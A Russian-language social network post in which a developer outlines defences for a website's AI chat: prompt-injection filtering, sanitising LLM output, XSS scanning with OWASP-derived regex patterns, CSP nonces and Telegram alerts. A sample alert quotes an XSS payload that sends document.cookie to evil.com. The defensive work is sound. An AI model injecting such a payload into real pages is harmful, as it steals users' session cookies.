Давненько я не писал здесь полезного!

Товарищи в настоящее время подготовил защиту Архитектуры ИИ чата на веб-ресурсе.

Задача: Обезопасить чат от промт инъекций, в связи с тем, что с ним работают люди, а люди как мы знаем бывают "ПАКОСТНЫЕ", поэтому:

Основа: OWASP LLM01:2025 Prompt Injection OWASP LLM05:2025 Improper Output Handling OWASP Top 10 for LLM Applications 2025 PDF Message sanitization — devs.ai Building Secure Web Chat Apps — PubNub

Реализация: Граница 1 - FastAPI dependency на /api/chat/ (Запускается до передачи сообщения агенту); Граница 2 - Санитизация LLM-вывода (OWASP LLM05) (После ответа агента, до записи в chat_messages); Граница 3 — рендеринг в DOM (в .html + Аудит и правки XSS в коде) - Инструмент: SimpleRegexScan — Python-скрипт для статического поиска небезопасных паттернов в коде. Запускается локально на репо, без деплоя. Паттерны берём из OWASP XSS Filter Evasion Cheat Sheet — самый авторитетный источник по обходам фильтров, от него же строим детектор. Правки: точечно добавить esc() там где нашли. Для агентского чата с markdown — использовать nh3 (замена архивированного Mozilla bleach; bleach официально заархивирован 05.06.2026, поддержка прекращена).

Так же не забываем следующее: - CSP nonce (убрать unsafe-inline) Метод: FastAPI middleware + строковая замена в HTML (Nginx убирает хардкод CSP-заголовка — он теперь идёт из FastAPI).

- CSP-монитор (раз в 3 дня) Метод: requests + ручной парсинг заголовка Проблемы: Mozilla Observatory: новая версия (2024-2026) убрала публичный API - только веб-интерфейс. Сsp-utils: последний коммит 2016, заброшен. Реализуем сами - CSP достаточно прост для парсинга вручную. Закрепляем Кроном по времени!

- Ежедневный XSS-монитор чата Метод: SQL-запрос за 24 ч + regex по паттернам OWASP CRS Источник паттернов: OWASP Core Rule Set - промышленный стандарт WAF-правил, берём XSS-правила из REQUEST-941-APPLICATION-ATTACK-XSS.conf и портируем в Python regex. Докидываем уведомления в ТГ!

При срабатывании → Telegram: 🚨 XSS-детектор | **.com HIGH: event handler 👤 user_id: 42 | 07.09 14:32

"<img src=x onerror=fetch('https://evil.com/'+document.cookie)>"

Проверь вручную → /admin

Только в лог, без Telegram (не спамим по ночам). Cron: 0 8 * * *

Товарищи, что занимаются ИБ и автоматизацией ИИ приглашаю в комментарии обсудить и что можно будет добавить, чего я мог пропустить!

С Уважением!

PS: Говорят домашние питомцы помогают набрать больше Охвата)

Давненько я не писал здесь полезного! | Сетка — социальная сеть от hh.ru Давненько я не писал здесь полезного! | Сетка — социальная сеть от hh.ru